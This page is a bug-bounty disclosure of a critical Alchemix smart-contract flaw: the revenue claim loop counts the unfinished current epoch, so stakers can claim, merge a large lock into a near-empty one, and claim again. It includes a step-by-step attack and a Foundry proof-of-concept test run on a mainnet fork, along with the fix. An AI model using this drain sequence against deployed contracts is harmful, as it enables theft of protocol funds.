Skip to content
Business logic Audit finding Intermediate

Stealing all revenue from the Alchemix protocol

The RevenueHandler's claimable calculation includes the current epoch, so a staker can claim rewards for a large lock, merge it into a nearly empty lock, and claim again with the inflated balance. This lets one malicious staker drain all revenue held by the RevenueHandler.

infosec_us_team Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

31472 - [SC - Critical] Stealing all revenue from the Alchemix protocol

Submitted on May 20th 2024 at 03:18:32 UTC by @infosec_us_team for Boost | Alchemix

Report ID: #31472

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol

Impacts:

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Brief/Intro

The RevenueHandler receives all revenue from the Alchemix protocol, and allows veALCX stakers to claim it.

This report shows how 1 malicious staker can steal all funds in the RevenueHandler.

A coded Proof of Concept was added to this report.

Vulnerability Details

In report 30800 we discover how to steal FLUX by claiming rewards, then merging staked positions and re-claiming with an inflated balance.

For the past 14 days, we wondered how to execute a similar attack vector but to steal all revenue from the Alchemix protocol inside the RevenueHandler. Today we found a flag in the code that makes it possible.

The vulnerable function

The bug is in the internal function _claimable(..) of RevenueHandler. Here's the relevant part:

JavaScript
function _claimable(uint256 tokenId, address token) internal view returns (uint256) {

		// Some code here was removed for simplicity...

		for (
				uint256 epochTimestamp = lastClaimEpochTimestamp + WEEK;
				epochTimestamp <= currentEpoch;
				epochTimestamp += WEEK
		) {
				uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
				if (epochTotalVeSupply == 0) continue;
				uint256 epochRevenue = epochRevenues[epochTimestamp][token];
				uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
				totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
		}
		return totalClaimable + userCheckpoints[tokenId][token].unclaimed;
}

Github link: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L297-L326

The "for" loop distributes rewards until the epochTimestamp is less OR EQUAL than the timestamp for the current epoch.

Transferring rewards to the owner of a veALCX position based on the current balance of the lock is a mistake because veALCX positions can be merged with almost empty positions, allowing for an infinite claiming-merging-reclaiming cycle until no funds are left in the RevenueHandler.

The vulnerability can be fixed by replacing epochTimestamp <= currentEpoch with epochTimestamp < currentEpoch.

Attack Vector Explained

Step 1- Batman and Superman create two veALCX Locks, each with 1e18 BPT tokens.

Step 2- Joker creates 2 locks, one of them with 1e18 BPT and the second with 1 WEI of BPT.

The current timestamp is 1682553635. During the next blocks an arbitrary amount of revenue is collected by the RevenueHandler, for this example let's say it is 2000e18.

Step 3- Time moves forward to a new epoch, the current timestamp is 1683763200, and Joker creates a checkpoint in the RevenueHandler and VotingEscrow by calling:

revenueHandler.checkpoint();
veALCX.checkpoint();

Right now, the revenue tokens Joker can claim with his lock of 1e18 BPTs is 668036131103950037396, and for his second lock with 1 WEI BPT is 0.

Therefore, the total reward he can claim for his two locks is 668036131103950037396 + 0 = 668036131103950037396.

Step 4- Joker claims all rewards for his 1e18 lock.

Step 5- Joker merges the balance of his 1e18 lock with his 1 WEI lock.

Step 6- Joker claims all rewards for his second lock (with an inflated balance).

Joker's rewards balance is now 1336073005660618375927 instead of 668036131103950037396.

This can be repeated with more almost-empty locks to drain the protocol fully.

Impact Details

Stealing all revenue from the Alchemix protocol

Proof of Concept

In the RevenueHandlerTest paste this test and run it with the same timestamp and block used in the test suite.

Run test with:

forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{YOUR_API_KEY} --match-test "testBugInClaim" --fork-block-number 17133822 -vv

PoC:

		function testBugInClaim() external {

				console2.log(block.timestamp);

				uint256 _tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
				uint256 _tokenId2 = createVeAlcx(admin, 1, MAXTIME, true);
				uint256 _tokenId3 = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
				uint256 _tokenId4 = createVeAlcx(admin, TOKEN_1, MAXTIME, true);

				hevm.warp(block.timestamp + (ONE_EPOCH_TIME - 35)); // Current timestamp plus (2 weeks minus 35 seconds)
				hevm.roll(block.number + ONE_EPOCH_BLOCKS);

				// We accrue revenue
				uint256 revAmt = 2000e18;
				_accrueRevenue(dai, revAmt);

				// Then we checkpoint
				revenueHandler.checkpoint();
				veALCX.checkpoint();

				console2.log("alUSD balance before:", IERC20(alusd).balanceOf(admin)); // 0

				console2.log("Claimable for _tokenId1:", revenueHandler.claimable(_tokenId1, alusd)); // 668036131103950037396
				console2.log("Claimable for _tokenId2:", revenueHandler.claimable(_tokenId2, alusd)); // 0
				console2.log("Balance after claiming should be _tokenId1 + _tokenId2 = ", revenueHandler.claimable(_tokenId1, alusd) + revenueHandler.claimable(_tokenId2, alusd));

				hevm.startPrank(admin);

				// Claim _tokenId1
				revenueHandler.claim(_tokenId1, alusd, address(0), revenueHandler.claimable(_tokenId1, alusd), admin);

				// Merge _tokenId1 and _tokenId2
				veALCX.merge(_tokenId1, _tokenId2);

				// Claim _tokenId2
				revenueHandler.claim(_tokenId2, alusd, address(0), revenueHandler.claimable(_tokenId2, alusd), admin);

				hevm.stopPrank();

				console2.log("Actual finanl balance:", IERC20(alusd).balanceOf(admin));
    }

The original report as published on Immunefi, by infosec_us_team. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The reward loop includes the current epoch (epochTimestamp <= currentEpoch), so a lock's balance can be counted for an epoch that has not finished, allowing a claim-merge-reclaim cycle.

What the attacker needed

A veALCX lock with some BPT; a second veALCX lock with a tiny amount; ability to call checkpoint and claim

The fix

The loop condition should be changed to exclude the current epoch, using a strict less-than comparison.

How it was found

  1. Create two veALCX locks, one with a normal amount and one with a tiny amount.
  2. Wait for a new epoch and call checkpoint on the RevenueHandler and VotingEscrow.
  3. Claim all rewards for the large lock.
  4. Merge the large lock into the tiny lock.
  5. Claim all rewards again for the now-inflated second lock.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The protocol pays out rewards based on how many tokens a user has locked. The code mistakenly counts the current, unfinished reward period when calculating a payout. An attacker can take their payout, move their locked tokens into a second nearly empty lock, and take a second payout for the same tokens, repeating until the reward pool is empty.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by infosec_us_team

View all

31 more disclosed reports, best first.

More from Alchemix

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.